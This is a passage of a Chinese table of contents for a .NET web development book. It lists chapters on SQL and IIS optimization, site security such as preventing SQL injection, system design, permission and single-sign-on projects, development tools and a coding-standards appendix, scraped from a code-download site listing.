SQL命令的优化 570 15.5.13 tempdb的使用技巧 572 15.5.14 使用视图代替跨库操作 572 15.5.15 尽量避免大事务操作 572 15.5.16 尽量避免使用游标 573 15.5.17 为你的表建立适当的索引 573 15.6 网站安全防护 573 15.6.1 什么是SQL注入式攻击 573 15.6.2 如何防范SQL注入式攻击 574 15.6.3 实现页面验证码 575 15.6.4 实现文件防盗链 579 15.6.5 采用HTTPS进行访问 584 15.7 IIS优化 584 15.7.1 如何监测IIS服务器并发数 584 15.7.2 采用Gzip压缩页面优化 585 15.7.3 网站应用程序池配置 588 15.8 网站架构优化策略 593 本章常见技术面试题 596 职场智慧之独善其身 596 本章小结 599 第16章 系统设计的原则和技巧 16.1 系统设计的一些原则 602 16.1.1 最适合的才是最好的 602 16.1.2 以不变应万变 603 16.1.3 可扩展性 603 16.1.4 可复用性 604 16.2 系统设计的常用方法 604 16.3 敏捷软件开发12条原则 608 16.4 系统架构师成长之路 611 本章常见技术面试题 615 职场智慧之职场政治 615 本章小结 616 第三篇 项目实战解析 第17章 权限角色管理项目解析 17.1 权限角色管理概述 620 17.2 项目概述 623 17.3 数据库设计 624 17.3.1 数据库实体关系模型 624 17.3.2 表结构设计 625 17.4 数据访问层 627 17.4.1 类设计 627 17.4.2 代码实现 629 17.5 业务逻辑层 629 17.5.1 类设计 630 17.5.2 扩展.NET Framework用户处理机制 632 17.6 接口调用与Web管理实现 638 17.6.1 Web.config配置 638 17.6.2 用户身份和权限验证 638 17.6.3 用户验证接口方式:权限验证用户控件 640 17.6.4 用户验证接口方式:页面基类 642 17.6.5 用户和角色权限的后台管理 644 职场智慧之如何提升自己在公司的价值 652 本章小结 653 第18章 单点登录系统的设计与实现 18.1 项目概述 656 18.1.1 名词定义 656 18.1.2 项目需求描述 656 18.2 业务流程设计 657 18.2.1 用户认证流程 657 18.2.2 安全验证流程 658 18.3 功能与接口设计 659 18.3.1 接*互设计 659 18.3.2 应用系统接口 660 18.3.3 认证服务器功能和接口 660 18.4 数据库设计 660 18.4.1 数据库实体关系模型 661 18.4.2 表结构设计 661 18.5 实现认证服务器 662 18.5.1 SSO解决方案 663 18.5.2 系统管理后台 664 18.5.3 用户通行证管理中心 665 18.5.4 认证服务器接口开发 673 18.6 应用系统接入接口开发 675 18.6.1 用户身份认证 675 18.6.2 接收状态同步 676 18.6.3 用户注销 678 18.6.4 更新认证服务器状态 679 18.7 接口封装及调用 679 职场智慧之晋升之道 682 本章小结 684 第19章 常用.NET开发工具介绍 19.1 源码版本管理:Visual SourceSafe 2005 686 19.1.1 安装和配置VSS 2005服务端 686 19.1.2 安装和配置VSS客户端 691 19.1.3 将项目加入VSS版本控制 692 19.1.4 客户端连接VSS 服务器获取源代码 694 19.1.5 设置VSS支持通过Internet访问 696 19.1.6 版本控制的几个概念 701 19.1.7 VSS项目权限管理 703 19.1.8 VSS数据备份 705 19.1.9 VSS 2005的使用规范 707 19.2 单元测试工具:NUnit 708 19.2.1 NUnit简介 708 19.2.2 手把手教你在.NET中应用NUnit 708 19.3 日志工具——Log4net 714 19.3.1 Log4net简介 714 19.3.2 使用步骤 717 19.3.3 单独配置文件的使用 719 19.4 代码规范检查工具:Microsoft Source Analysis for C# 721 19.5 生成文档注释工具:GhostDoc 723 19.6 反编译工具:Reflector for .NET 732 19.7 动软.NET代码生成器 733 19.8 帮助文档生成工具:Sandcastle 737 19.8.1 Sandcastle介绍 737 19.8.2 生成方式 738 19.8.3 具体生成步骤 740 本章小结 748 附录A 软件编码规范 A.1 概述 750 A.1.1 规范基本原则 750 A.1.2 术语定义 750 A.1.3 文件命名组织 750 A.2 代码外观 751 A.2.1 列宽 751 A.2.2 换行 751 A.2.3 缩进 751 A.2.4 空行 751 A.2.5 空格 752 A.2.6 括号——() 753 A.2.7 花括号——{} 753 A.3 程序注释 754 A.3.1 注释概述 754 A.3.2 文档型注释 755 A.3.3 类注释 755 A.3.4 单行注释 755 A.3.5 注释标签 756 A.4 声明 758 A.4.1 每行声明数 758 A.4.2 初始化 758 A.4.3 位置 758 A.4.4 类和接口的声明 759 A.4.5 字段的声明 759 A.5 命名规范 759 A.5.1 命名概述 759 A.5.2 大写规则 760 A.5.3 缩写 761 A.5.4 命名空间 761 A.5.5 类 762 A.5.6 接口 762 A.5.7 属性(Attribute) 763 A.5.8 枚举(Enum) 763 A.5.9 参数 763 A.5.10 方法 764 A.5.11 属性(property) 764 A.5.12 事件 765 A.5.13 常量(const) 766 A.5.14 字段 767 A.5.15 静态字段 768 A.5.16 集合 768 A.5.17 措词 768 A.6 语句 769 A.6.1 每行一个语句 769 A.6.2 复合语句 769 A.6.3 return语句 769 A.6.4 if、if-else、if else-if语句 770 A.6.5 for、foreach 语句 770 A.6.6 while语句 771 A.6.7 do-while语句 771 A.6.8 switch-case语句 771 A.6.9 try-catch语句 772 A.6.10 using块语句 772 A.6.11 goto语句 772 A.7 其他 773 A.7.1 表达式 773 A.7.2 类型转换 773 A.8 匈牙利命名法 773 A.9 控件命名规则 774 A.9.1 一般命名方法 774 A.9.2 主要控件名简写对照表 774
Platform: | Size: 7456954 | Author: jackws@tom.comjackws | Hits:
« 1 2 3 4 56 7 8 9 10 ... 16 »

CodeBus www.codebus.net